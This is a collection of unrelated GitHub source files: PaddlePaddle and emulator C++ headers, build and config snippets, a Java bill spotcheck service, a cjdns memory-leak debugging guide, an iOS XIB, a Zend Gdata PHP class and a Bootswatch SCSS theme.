// Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #pragma once #include <map> #include <string> #include <tuple> #include <typeindex> #include <vector> #include "paddle/fluid/framework/feed_fetch_type.h" #include "paddle/fluid/framework/framework.pb.h" #include "paddle/fluid/framework/lod_tensor_array.h" #include "paddle/fluid/platform/place.h" #ifdef PADDLE_WITH_CUDA #include <cudnn.h> #if defined(PADDLE_WITH_NCCL) #include <nccl.h> #endif #endif // Users should add forward declarations here namespace paddle { namespace platform { #ifdef PADDLE_WITH_CUDA #if defined(PADDLE_WITH_NCCL) class Communicator; class NCCLCommunicator; #endif #endif } // namespace platform namespace framework { class LoDRankTable; class LoDTensor; class ReaderHolder; class Scope; class SelectedRows; class Tensor; } // namespace framework namespace operators { class CudnnRNNCache; namespace reader { class LoDTensorBlockingQueueHolder; class OrderedMultiDeviceLoDTensorBlockingQueueHolder; } // namespace reader } // namespace operators } // namespace paddle namespace paddle { namespace framework { const char *ToTypeName(int var_id); const std::type_index &VarTraitIdToTypeIndex(int var_id); int TypeIndexToVarTraitId(const std::type_index &type); namespace detail { template <bool kStop, int kStart, int kEnd, typename T1, typename T2, typename... Args> struct TypePosFinderImpl { static constexpr int kPos = std::is_same<T1, T2>::value ? kStart : TypePosFinderImpl<kStart + 2 == kEnd, kStart + 1, kEnd, T1, Args...>::kPos; }; template <int kStart, int kEnd, typename T1, typename T2> struct TypePosFinderImpl<true, kStart, kEnd, T1, T2> { static constexpr int kPos = std::is_same<T1, T2>::value ? kStart : -1; }; // TypePosFinder helps to find the position in which T is inside Args... // If T is not inside Args..., kPos would be -1 template <typename T, typename... Args> struct TypePosFinder { static constexpr int kPos = TypePosFinderImpl<sizeof...(Args) == 1, 0, sizeof...(Args), T, Args...>::kPos; }; template <typename... Args> struct VarTypeRegistryImpl { static constexpr size_t kRegisteredTypeNum = sizeof...(Args); using ArgTuple = std::tuple<Args...>; // TypePos() returns the position in which T is inside Args... // If T is not inside Args..., return -1 template <typename T> static constexpr int TypePos() { return TypePosFinder<T, Args...>::kPos; } // IsRegistered() returns whether T is registered inside RegistryImpl template <typename T> static constexpr bool IsRegistered() { return TypePos<T>() >= 0; } }; } // namespace detail #define REG_PROTO_VAR_TYPE_TRAIT(type, proto_id) \ template <> \ struct VarTypeTrait<type> { \ static_assert(VarTypeRegistry::IsRegistered<type>(), \ "Must be registered type"); \ using Type = type; \ static constexpr int kId = static_cast<int>(proto_id); \ } /** * The following codes are designed to register variable types. * Only registered types can be stored in Variable. * This registry mechanism is designed to speed up Variable. * * Caution: If you want to add more var types, please consider carefully * whether you really need to add it. */ // Users should add other variable types below. // Paddle would generate unique Ids for each registered variable types. using VarTypeRegistry = detail::VarTypeRegistryImpl< Tensor, LoDTensor, SelectedRows, std::vector<Scope *>, LoDRankTable, LoDTensorArray, platform::PlaceList, ReaderHolder, std::string, Scope *, operators::reader::LoDTensorBlockingQueueHolder, FetchList, operators::reader::OrderedMultiDeviceLoDTensorBlockingQueueHolder, #ifdef PADDLE_WITH_CUDA #if defined(PADDLE_WITH_NCCL) ncclUniqueId, platform::Communicator, platform::NCCLCommunicator, #endif operators::CudnnRNNCache, #endif int, float>; template <typename T> struct VarTypeTrait { static_assert(VarTypeRegistry::IsRegistered<T>(), "Must be registered type"); using Type = T; /** * Unique VarType Id generation. * * The auto-generated id should not be the same as any protobuf id defined in * framework.proto. Therefore, we generate id by adding the type pos and * maximum protobuf id (i.e., proto::VarType::TUPLE). * * However, we may need more protobuf id in the future. * To avoid changing this auto id generation algorithm frequently, we * generate id by adding the type pos and twice of maximum protobuf id (i.e., * proto::VarType::TUPLE). */ static constexpr int kId = VarTypeRegistry::TypePos<T>() + static_cast<int>(proto::VarType::TUPLE) * 2; }; // Users should set some of variable type ids to be what is defined in // framework.proto below REG_PROTO_VAR_TYPE_TRAIT(LoDTensor, proto::VarType::LOD_TENSOR); REG_PROTO_VAR_TYPE_TRAIT(SelectedRows, proto::VarType::SELECTED_ROWS); REG_PROTO_VAR_TYPE_TRAIT(std::vector<Scope *>, proto::VarType::STEP_SCOPES); REG_PROTO_VAR_TYPE_TRAIT(LoDRankTable, proto::VarType::LOD_RANK_TABLE); REG_PROTO_VAR_TYPE_TRAIT(LoDTensorArray, proto::VarType::LOD_TENSOR_ARRAY); REG_PROTO_VAR_TYPE_TRAIT(platform::PlaceList, proto::VarType::PLACE_LIST); REG_PROTO_VAR_TYPE_TRAIT(ReaderHolder, proto::VarType::READER); REG_PROTO_VAR_TYPE_TRAIT(FetchList, proto::VarType::FETCH_LIST); REG_PROTO_VAR_TYPE_TRAIT(int, proto::VarType::INT32); REG_PROTO_VAR_TYPE_TRAIT(float, proto::VarType::FP32); /** End of variable type registration */ template <typename T> inline constexpr bool IsRegisteredVarType() { return VarTypeRegistry::IsRegistered<T>(); } #undef REG_PROTO_VAR_TYPE_TRAIT } // namespace framework } // namespace paddle
{ "pile_set_name": "Github" }
noinst_LTLIBRARIES += %D%/libtransport.la %C%_libtransport_la_SOURCES = \ %D%/transport.c \ %D%/transport.h
{ "pile_set_name": "Github" }
/*************************************************************************** Z80 CTC (Z8430) implementation Copyright Nicola Salmoria and the MAME Team. Visit http://mamedev.org for licensing and usage restrictions. ***************************************************************************/ #ifndef __Z80CTC_H__ #define __Z80CTC_H__ /*************************************************************************** CONSTANTS ***************************************************************************/ #define NOTIMER_0 (1<<0) #define NOTIMER_1 (1<<1) #define NOTIMER_2 (1<<2) #define NOTIMER_3 (1<<3) // daisy chain stuff: void z80ctc_reset(); int z80ctc_irq_state(); int z80ctc_irq_ack(); void z80ctc_irq_reti(); void z80ctc_exit(); void z80ctc_scan(INT32 nAction); // driver stuff: void z80ctc_init(INT32 clock, INT32 notimer, void (*intr)(INT32), void (*zc0)(int, UINT8), void (*zc1)(int, UINT8), void (*zc2)(int, UINT8)); void z80ctc_timer_update(INT32 cycles); // internal-use only (z80.cpp!) void z80ctc_trg_write(int ch, UINT8 data); UINT8 z80ctc_read(int offset); void z80ctc_write(int offset, UINT8 data); INT32 z80ctc_getperiod(int ch); #endif
{ "pile_set_name": "Github" }
dummy-deriver = { type = "com.cloudera.labs.envelope.run.TestRunner$TestingSQLDeriver" query.literal = "SELECT 1" } steps { independent { deriver = ${dummy-deriver} extra-config = true } parent { deriver = ${dummy-deriver} } direct-changed { dependencies = [parent] deriver = ${dummy-deriver} extra-config = true } indirect-changed { dependencies = [direct-changed] deriver = ${dummy-deriver} extra-config = true } unchanged { dependencies = [direct-changed] deriver = ${dummy-deriver} } new { dependencies = [direct-changed] deriver = ${dummy-deriver} } }
{ "pile_set_name": "Github" }
package gov.nysenate.openleg.service.spotcheck.openleg; import com.google.common.collect.Sets; import gov.nysenate.openleg.client.view.bill.BillView; import gov.nysenate.openleg.config.Environment; import gov.nysenate.openleg.dao.base.LimitOffset; import gov.nysenate.openleg.dao.base.PaginatedList; import gov.nysenate.openleg.dao.bill.reference.openleg.OpenlegBillDao; import gov.nysenate.openleg.model.base.SessionYear; import gov.nysenate.openleg.model.bill.BaseBillId; import gov.nysenate.openleg.model.bill.BillInfo; import gov.nysenate.openleg.model.bill.BillTextFormat; import gov.nysenate.openleg.model.spotcheck.SpotCheckObservation; import gov.nysenate.openleg.model.spotcheck.SpotCheckRefType; import gov.nysenate.openleg.model.spotcheck.SpotCheckReport; import gov.nysenate.openleg.model.spotcheck.SpotCheckReportId; import gov.nysenate.openleg.service.bill.data.BillDataService; import gov.nysenate.openleg.service.bill.data.BillNotFoundEx; import gov.nysenate.openleg.service.spotcheck.base.SpotCheckReportService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.time.LocalDateTime; import java.util.HashSet; import java.util.Set; /** * Created by Chenguang He on 2017/3/20. * This service is used to report the difference of two openleg branches. */ @Service("openlegBillReport") public class OpenlegBillReportService implements SpotCheckReportService<BaseBillId> { private static final Logger logger = LoggerFactory.getLogger(OpenlegBillReportService.class); /** Throttles the number of bills retrieved at once from the ref. api to reduce memory footprint. */ private static final int billRetrievalLimit = 100; private final OpenlegBillDao openlegBillDao; private final BillDataService billDataService; private final OpenlegBillCheckService checkService; private final Environment env; @Autowired public OpenlegBillReportService(OpenlegBillDao openlegBillDao, BillDataService billDataService, OpenlegBillCheckService checkService, Environment env) { this.openlegBillDao = openlegBillDao; this.billDataService = billDataService; this.checkService = checkService; this.env = env; } @Override public SpotCheckRefType getSpotcheckRefType() { return SpotCheckRefType.OPENLEG_BILL; } /** * Generate report checking against bills from another openleg instance. * * @param start LocalDateTime - The session year * @param end LocalDateTime - Not in use * @return {@link SpotCheckReport<BaseBillId>} */ @Override public SpotCheckReport<BaseBillId> generateReport(LocalDateTime start, LocalDateTime end) { // Create a new report instance SpotCheckReportId reportId = new SpotCheckReportId(SpotCheckRefType.OPENLEG_BILL, LocalDateTime.now(), LocalDateTime.now()); SpotCheckReport<BaseBillId> report = new SpotCheckReport<>(reportId); SessionYear sessionYear = SessionYear.of(start); logger.info("Running Bill Spotcheck against {} for {} session...", env.getOpenlegRefUrl(), sessionYear); // Get a set of all local bill ids for the session for tracking ref. missing mismatches. Set<BaseBillId> localBillIds = new HashSet<>(billDataService.getBillIds(sessionYear, LimitOffset.ALL)); // Initialize to 1 but set to the real value once a response has been read. int totalRefBills = 1; // Go through all bills of the session in paginated increments. for (LimitOffset limoff = new LimitOffset(billRetrievalLimit); limoff.getOffsetStart() <= totalRefBills; limoff = limoff.next()) { // Get bills from ref. API PaginatedList<BillView> paginatedBillViews = openlegBillDao.getBillViews(sessionYear, limoff); // Set the total based on the response. totalRefBills = paginatedBillViews.getTotal(); logger.info("Checking bills {} - {} of {}", limoff.getOffsetStart(), limoff.getOffsetEnd(), totalRefBills); // Check each bill in the result. for (BillView refBill : paginatedBillViews.getResults()) { BaseBillId baseBillId = refBill.toBaseBillId(); try { if (!localBillIds.contains(baseBillId)) { throw new BillNotFoundEx(baseBillId); } BillView localBill = new BillView(billDataService.getBill(baseBillId), Sets.newHashSet(BillTextFormat.PLAIN)); SpotCheckObservation<BaseBillId> obs = checkService.check(localBill, refBill); report.addObservation(obs); // Remove this bill from localBillIds to indicate it was present in ref. bills. localBillIds.remove(baseBillId); } catch (BillNotFoundEx ex) { // Add data missing mismatch if the bill was not found locally. report.addObservedDataMissingObs(baseBillId); } } } // Set any remaining unchecked local bill ids as ref. missing mismatches for (BaseBillId id : localBillIds) { if (report.getObservationMap().containsKey(id)) { throw new IllegalStateException(id + " is supposedly not checked, but an observation for it exists"); } BillInfo billInfo = billDataService.getBillInfo(id); if (billInfo.isBaseVersionPublished()) { report.addRefMissingObs(id); } else { report.addEmptyObservation(id); } } return report; } }
{ "pile_set_name": "Github" }
#if $str($getVar('func_auto_setup','')) == "1" func #end if
{ "pile_set_name": "Github" }
-- Verify get_patchsets_for_change BEGIN; SELECT has_function_privilege( 'get_patchsets_for_change(uuid)', 'execute'); ROLLBACK;
{ "pile_set_name": "Github" }
# Debugging memory leaks Ok, so cjdns just crashed on you and printed some shit like `Fatal error: [Out of memory, limit exceeded]` what do you do. ## Solution 1: cry The bdfl will fix it when it happens on his laptop. ## Solution 2: find the cause Before crashing, cjdns prints a tree containing every memory allocation, its allocator, the parent of that allocator and so on back up to the root allocator. Memory in cjdns is allocated in a tree structure similar to the directory structure on a filesystem. In order to allocate memory, you need an **allocator**, allocators can spawn child allocators and allocate memory. When an allocator is *freed*, all of its memory and all of the memory of its children is freed in turn. If you want to see the memory tree while cjdns is running, you can trigger a print of the tree using the RPC call `Allocator_snapshot()`, the parameter specifies whether the individual memory allocations should be shown or just the allocators, if cjdns has an OOM crash, it shows everything. Example: `./tools/cexec 'Allocator_snapshot(1)'` Note that this will print the tree to stdout because it is far too large to return in a UDP packet and sending it in multiple requests would require taking and storing (in memory) a snapshot to be retrieved by further requests (patches for this would be appreciated). The memory tree will look something like the following: Core.c:496 [119096] bytes Ducttape.c:982 [1088] bytes | SessionManager.c:242 [864] bytes at [0x5555560579e0] | SessionManager.c:241 [64] bytes at [0x555555fe0690] | Ducttape.c:982 [160] bytes at [0x555555fe0f10] Timeout.c:84 [488] bytes | Allocator.c:657 [104] bytes at [0x555555e429e0] | Timeout.c:85 [224] bytes at [0x555555e8cc50] | Timeout.c:84 [160] bytes at [0x555555e7c460] Janitor.c:671 [360] bytes | Pinger.c:106 [1296] bytes | | RouterModule.c:412 [2976] bytes | | | UDPAddrInterface.c:96 [64] bytes at [0x55555605b710] | | | UDPAddrInterface.c:96 [64] bytes at [0x55555605b670] | | | Dict.c:132 [72] bytes at [0x555556058360] | | | Dict.c:150 [64] bytes at [0x555556058310] | | | Dict.c:132 [72] bytes at [0x5555560582c0] | | | Dict.c:166 [64] bytes at [0x555556058270] | | | Dict.c:132 [72] bytes at [0x555556058220] | | | Dict.c:150 [64] bytes at [0x5555560581d0] | | | RouterModule.c:414 [104] bytes at [0x555556058160] | | | Message.h:58 [80] bytes at [0x555556058100] | | | Message.h:57 [2096] bytes at [0x55555605aca0] | | | RouterModule.c:412 [160] bytes at [0x555556058050] | | Timeout.c:84 [488] bytes | | | Allocator.c:657 [104] bytes at [0x555555ff5040] | | | Timeout.c:85 [224] bytes at [0x555555fb2d00] | | | Timeout.c:84 [160] bytes at [0x555555ff4f90] In this simplified example, Core.c:496 is the root allocator, the grand-daddy of all memory allocations. The RPC call `Core_exit()` actually works by freeing this allocator. Everything `Janitor.c:84` is a child of the root allocator and `Pinger.c:106` a child of that. `UDPAddrInterface.c:96 [64] bytes at [0x55555605b710]` is an allocation of a block of memory which you can see from its size (64 bytes) and its memory address. In each case, the allocator and the memory block, the filename and line number (eg: `Core.c:496`) is a place in a file where one can find the call to the memory operation. Usually either `Allocator_child()` or `Allocator_malloc()`. ### Finding memory leaks If you encounter an OOM crash, there is probably a leak. The easiest way to find this is to take the entire memory tree trace (probably huge) and copy it into a text document. Remove everything below `----- end cjdns memory snapshot -----` and everything above `----- cjdns memory snapshot -----` then save the file (perhaps using the name `~/cjdns_memdump`). On the command line, run the following command: cat ~/cjdns_memdump | sed -n -e 's/.* \([a-zA-Z0-9_]*\.[ch]\:[0-9]*\) .*$/\1/p' | sort | uniq -c | sort -n This will show a list of each location (in the code) where memory is allocated and the number of currently active allocations (or allocators) which were allocated in that spot. Here is the bottom of the output from the above command. The top is mostly locations which only have one currently active allocation. 8 RumorMill.c:136 57 Message.h:57 57 Message.h:58 57 Pinger.c:116 57 RouterModule.c:414 57 RouterModule.c:580 66 Dict.c:199 114 Pinger.c:106 114 RouterModule.c:412 114 UDPAddrInterface.c:96 118 NodeStore.c:1461 121 EncodingScheme.c:377 121 EncodingScheme.c:383 172 Dict.c:95 180 Dict.c:150 204 SessionManager.c:183 206 CryptoAuth.c:1207 236 NodeStore.c:1460 249 String.c:31 249 String.c:39 293 Dict.c:166 408 SessionManager.c:172 539 Dict.c:132 725 NodeStore.c:113 2392 Timeout.c:85 2470 Allocator.c:657 4784 Timeout.c:84 7428 SessionManager.c:241 7428 SessionManager.c:242 14856 Ducttape.c:982 All the way at the bottom is an anomaly, a single location in the source code which contains twice as many allocations as the next greatest number. Investigating that I found a dumb mistake which [some idiot](https://github.com/cjdelisle/cjdns/commit/507223dac10690f562b91d8ec84ce2f7a41df5ad) made while working on the source.
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="13196" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" colorMatched="YES"> <device id="retina4_7" orientation="portrait"> <adaptation id="fullscreen"/> </device> <dependencies> <deployment identifier="iOS"/> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13173"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> </dependencies> <objects> <placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner"/> <placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/> <view contentMode="scaleToFill" id="iN0-l3-epB"> <rect key="frame" x="0.0" y="0.0" width="480" height="480"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <subviews> <imageView userInteractionEnabled="NO" contentMode="scaleAspectFill" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="welcome" translatesAutoresizingMaskIntoConstraints="NO" id="vX1-Z1-Bd0"> <rect key="frame" x="0.0" y="0.0" width="480" height="480"/> </imageView> </subviews> <color key="backgroundColor" red="0.75294117647058822" green="0.62352941176470589" blue="0.90588235294117647" alpha="1" colorSpace="custom" customColorSpace="sRGB"/> <constraints> <constraint firstAttribute="trailing" secondItem="vX1-Z1-Bd0" secondAttribute="trailing" id="0DO-yg-q41"/> <constraint firstItem="vX1-Z1-Bd0" firstAttribute="top" secondItem="iN0-l3-epB" secondAttribute="top" id="P9C-nQ-yfX"/> <constraint firstAttribute="bottom" secondItem="vX1-Z1-Bd0" secondAttribute="bottom" id="mXo-nM-8vQ"/> <constraint firstItem="vX1-Z1-Bd0" firstAttribute="leading" secondItem="iN0-l3-epB" secondAttribute="leading" id="qg9-Oe-24P"/> </constraints> <nil key="simulatedStatusBarMetrics"/> <freeformSimulatedSizeMetrics key="simulatedDestinationMetrics"/> <point key="canvasLocation" x="548" y="455"/> </view> </objects> <resources> <image name="welcome" width="1198" height="1080"/> </resources> </document>
{ "pile_set_name": "Github" }
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * @category Zend * @package Zend_Gdata * @subpackage Photos * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id$ */ /** * @see Zend_Gdata_Photos */ require_once 'Zend/Gdata/Photos.php'; /** * @see Zend_Gdata_Feed */ require_once 'Zend/Gdata/Feed.php'; /** * @see Zend_Gdata_Photos_PhotoEntry */ require_once 'Zend/Gdata/Photos/PhotoEntry.php'; /** * Data model for a collection of photo entries, usually * provided by the Picasa servers. * * For information on requesting this feed from a server, see the * service class, Zend_Gdata_Photos. * * @category Zend * @package Zend_Gdata * @subpackage Photos * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Gdata_Photos_PhotoFeed extends Zend_Gdata_Feed { /** * gphoto:id element * * @var Zend_Gdata_Photos_Extension_Id */ protected $_gphotoId = null; /** * gphoto:albumid element * * @var Zend_Gdata_Photos_Extension_AlbumId */ protected $_gphotoAlbumId = null; /** * gphoto:version element * * @var Zend_Gdata_Photos_Extension_Version */ protected $_gphotoVersion = null; /** * gphoto:width element * * @var Zend_Gdata_Photos_Extension_Width */ protected $_gphotoWidth = null; /** * gphoto:height element * * @var Zend_Gdata_Photos_Extension_Height */ protected $_gphotoHeight = null; /** * gphoto:size element * * @var Zend_Gdata_Photos_Extension_Size */ protected $_gphotoSize = null; /** * gphoto:client element * * @var Zend_Gdata_Photos_Extension_Client */ protected $_gphotoClient = null; /** * gphoto:checksum element * * @var Zend_Gdata_Photos_Extension_Checksum */ protected $_gphotoChecksum = null; /** * gphoto:timestamp element * * @var Zend_Gdata_Photos_Extension_Timestamp */ protected $_gphotoTimestamp = null; /** * gphoto:commentCount element * * @var Zend_Gdata_Photos_Extension_CommentCount */ protected $_gphotoCommentCount = null; /** * gphoto:commentingEnabled element * * @var Zend_Gdata_Photos_Extension_CommentingEnabled */ protected $_gphotoCommentingEnabled = null; /** * media:group element * * @var Zend_Gdata_Media_Extension_MediaGroup */ protected $_mediaGroup = null; protected $_entryClassName = 'Zend_Gdata_Photos_PhotoEntry'; protected $_feedClassName = 'Zend_Gdata_Photos_PhotoFeed'; protected $_entryKindClassMapping = array( 'http://schemas.google.com/photos/2007#comment' => 'Zend_Gdata_Photos_CommentEntry', 'http://schemas.google.com/photos/2007#tag' => 'Zend_Gdata_Photos_TagEntry' ); public function __construct($element = null) { $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces); parent::__construct($element); } public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null) { $element = parent::getDOM($doc, $majorVersion, $minorVersion); if ($this->_gphotoId != null) { $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument)); } if ($this->_gphotoVersion != null) { $element->appendChild($this->_gphotoVersion->getDOM($element->ownerDocument)); } if ($this->_gphotoWidth != null) { $element->appendChild($this->_gphotoWidth->getDOM($element->ownerDocument)); } if ($this->_gphotoHeight != null) { $element->appendChild($this->_gphotoHeight->getDOM($element->ownerDocument)); } if ($this->_gphotoSize != null) { $element->appendChild($this->_gphotoSize->getDOM($element->ownerDocument)); } if ($this->_gphotoClient != null) { $element->appendChild($this->_gphotoClient->getDOM($element->ownerDocument)); } if ($this->_gphotoChecksum != null) { $element->appendChild($this->_gphotoChecksum->getDOM($element->ownerDocument)); } if ($this->_gphotoTimestamp != null) { $element->appendChild($this->_gphotoTimestamp->getDOM($element->ownerDocument)); } if ($this->_gphotoCommentingEnabled != null) { $element->appendChild($this->_gphotoCommentingEnabled->getDOM($element->ownerDocument)); } if ($this->_gphotoCommentCount != null) { $element->appendChild($this->_gphotoCommentCount->getDOM($element->ownerDocument)); } if ($this->_mediaGroup != null) { $element->appendChild($this->_mediaGroup->getDOM($element->ownerDocument)); } return $element; } protected function takeChildFromDOM($child) { $absoluteNodeName = $child->namespaceURI . ':' . $child->localName; switch ($absoluteNodeName) { case $this->lookupNamespace('gphoto') . ':' . 'id'; $id = new Zend_Gdata_Photos_Extension_Id(); $id->transferFromDOM($child); $this->_gphotoId = $id; break; case $this->lookupNamespace('gphoto') . ':' . 'version'; $version = new Zend_Gdata_Photos_Extension_Version(); $version->transferFromDOM($child); $this->_gphotoVersion = $version; break; case $this->lookupNamespace('gphoto') . ':' . 'albumid'; $albumid = new Zend_Gdata_Photos_Extension_AlbumId(); $albumid->transferFromDOM($child); $this->_gphotoAlbumId = $albumid; break; case $this->lookupNamespace('gphoto') . ':' . 'width'; $width = new Zend_Gdata_Photos_Extension_Width(); $width->transferFromDOM($child); $this->_gphotoWidth = $width; break; case $this->lookupNamespace('gphoto') . ':' . 'height'; $height = new Zend_Gdata_Photos_Extension_Height(); $height->transferFromDOM($child); $this->_gphotoHeight = $height; break; case $this->lookupNamespace('gphoto') . ':' . 'size'; $size = new Zend_Gdata_Photos_Extension_Size(); $size->transferFromDOM($child); $this->_gphotoSize = $size; break; case $this->lookupNamespace('gphoto') . ':' . 'client'; $client = new Zend_Gdata_Photos_Extension_Client(); $client->transferFromDOM($child); $this->_gphotoClient = $client; break; case $this->lookupNamespace('gphoto') . ':' . 'checksum'; $checksum = new Zend_Gdata_Photos_Extension_Checksum(); $checksum->transferFromDOM($child); $this->_gphotoChecksum = $checksum; break; case $this->lookupNamespace('gphoto') . ':' . 'timestamp'; $timestamp = new Zend_Gdata_Photos_Extension_Timestamp(); $timestamp->transferFromDOM($child); $this->_gphotoTimestamp = $timestamp; break; case $this->lookupNamespace('gphoto') . ':' . 'commentingEnabled'; $commentingEnabled = new Zend_Gdata_Photos_Extension_CommentingEnabled(); $commentingEnabled->transferFromDOM($child); $this->_gphotoCommentingEnabled = $commentingEnabled; break; case $this->lookupNamespace('gphoto') . ':' . 'commentCount'; $commentCount = new Zend_Gdata_Photos_Extension_CommentCount(); $commentCount->transferFromDOM($child); $this->_gphotoCommentCount = $commentCount; break; case $this->lookupNamespace('media') . ':' . 'group'; $mediaGroup = new Zend_Gdata_Media_Extension_MediaGroup(); $mediaGroup->transferFromDOM($child); $this->_mediaGroup = $mediaGroup; break; case $this->lookupNamespace('atom') . ':' . 'entry': $entryClassName = $this->_entryClassName; $tmpEntry = new Zend_Gdata_App_Entry($child); $categories = $tmpEntry->getCategory(); foreach ($categories as $category) { if ($category->scheme == Zend_Gdata_Photos::KIND_PATH && $this->_entryKindClassMapping[$category->term] != "") { $entryClassName = $this->_entryKindClassMapping[$category->term]; break; } else { require_once 'Zend/Gdata/App/Exception.php'; throw new Zend_Gdata_App_Exception('Entry is missing kind declaration.'); } } $newEntry = new $entryClassName($child); $newEntry->setHttpClient($this->getHttpClient()); $this->_entry[] = $newEntry; break; default: parent::takeChildFromDOM($child); break; } } /** * Get the value for this element's gphoto:id attribute. * * @see setGphotoId * @return string The requested attribute. */ public function getGphotoId() { return $this->_gphotoId; } /** * Set the value for this element's gphoto:id attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Id The element being modified. */ public function setGphotoId($value) { $this->_gphotoId = $value; return $this; } /** * Get the value for this element's gphoto:version attribute. * * @see setGphotoVersion * @return string The requested attribute. */ public function getGphotoVersion() { return $this->_gphotoVersion; } /** * Set the value for this element's gphoto:version attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Version The element being modified. */ public function setGphotoVersion($value) { $this->_gphotoVersion = $value; return $this; } /** * Get the value for this element's gphoto:albumid attribute. * * @see setGphotoAlbumId * @return string The requested attribute. */ public function getGphotoAlbumId() { return $this->_gphotoAlbumId; } /** * Set the value for this element's gphoto:albumid attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_AlbumId The element being modified. */ public function setGphotoAlbumId($value) { $this->_gphotoAlbumId = $value; return $this; } /** * Get the value for this element's gphoto:width attribute. * * @see setGphotoWidth * @return string The requested attribute. */ public function getGphotoWidth() { return $this->_gphotoWidth; } /** * Set the value for this element's gphoto:width attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Width The element being modified. */ public function setGphotoWidth($value) { $this->_gphotoWidth = $value; return $this; } /** * Get the value for this element's gphoto:height attribute. * * @see setGphotoHeight * @return string The requested attribute. */ public function getGphotoHeight() { return $this->_gphotoHeight; } /** * Set the value for this element's gphoto:height attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Height The element being modified. */ public function setGphotoHeight($value) { $this->_gphotoHeight = $value; return $this; } /** * Get the value for this element's gphoto:size attribute. * * @see setGphotoSize * @return string The requested attribute. */ public function getGphotoSize() { return $this->_gphotoSize; } /** * Set the value for this element's gphoto:size attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Size The element being modified. */ public function setGphotoSize($value) { $this->_gphotoSize = $value; return $this; } /** * Get the value for this element's gphoto:client attribute. * * @see setGphotoClient * @return string The requested attribute. */ public function getGphotoClient() { return $this->_gphotoClient; } /** * Set the value for this element's gphoto:client attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Client The element being modified. */ public function setGphotoClient($value) { $this->_gphotoClient = $value; return $this; } /** * Get the value for this element's gphoto:checksum attribute. * * @see setGphotoChecksum * @return string The requested attribute. */ public function getGphotoChecksum() { return $this->_gphotoChecksum; } /** * Set the value for this element's gphoto:checksum attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Checksum The element being modified. */ public function setGphotoChecksum($value) { $this->_gphotoChecksum = $value; return $this; } /** * Get the value for this element's gphoto:timestamp attribute. * * @see setGphotoTimestamp * @return string The requested attribute. */ public function getGphotoTimestamp() { return $this->_gphotoTimestamp; } /** * Set the value for this element's gphoto:timestamp attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_Timestamp The element being modified. */ public function setGphotoTimestamp($value) { $this->_gphotoTimestamp = $value; return $this; } /** * Get the value for this element's gphoto:commentCount attribute. * * @see setGphotoCommentCount * @return string The requested attribute. */ public function getGphotoCommentCount() { return $this->_gphotoCommentCount; } /** * Set the value for this element's gphoto:commentCount attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_CommentCount The element being modified. */ public function setGphotoCommentCount($value) { $this->_gphotoCommentCount = $value; return $this; } /** * Get the value for this element's gphoto:commentingEnabled attribute. * * @see setGphotoCommentingEnabled * @return string The requested attribute. */ public function getGphotoCommentingEnabled() { return $this->_gphotoCommentingEnabled; } /** * Set the value for this element's gphoto:commentingEnabled attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Photos_Extension_CommentingEnabled The element being modified. */ public function setGphotoCommentingEnabled($value) { $this->_gphotoCommentingEnabled = $value; return $this; } /** * Get the value for this element's media:group attribute. * * @see setMediaGroup * @return string The requested attribute. */ public function getMediaGroup() { return $this->_mediaGroup; } /** * Set the value for this element's media:group attribute. * * @param string $value The desired value for this attribute. * @return Zend_Gdata_Media_Extension_MediaGroup The element being modified. */ public function setMediaGroup($value) { $this->_mediaGroup = $value; return $this; } }
{ "pile_set_name": "Github" }
// United 3.3.4 // Bootswatch // ----------------------------------------------------- @import url("//fonts.googleapis.com/css?family=Ubuntu"); // Navbar ===================================================================== .navbar { &-default { .badge { background-color: #fff; color: $navbar-default-bg; } } &-inverse { .badge { background-color: #fff; color: $navbar-inverse-bg; } } } // Buttons ==================================================================== // Typography ================================================================= // Tables ===================================================================== // Forms ====================================================================== // Navs ======================================================================= // Indicators ================================================================= // Progress bars ============================================================== // Containers =================================================================
{ "pile_set_name": "Github" }
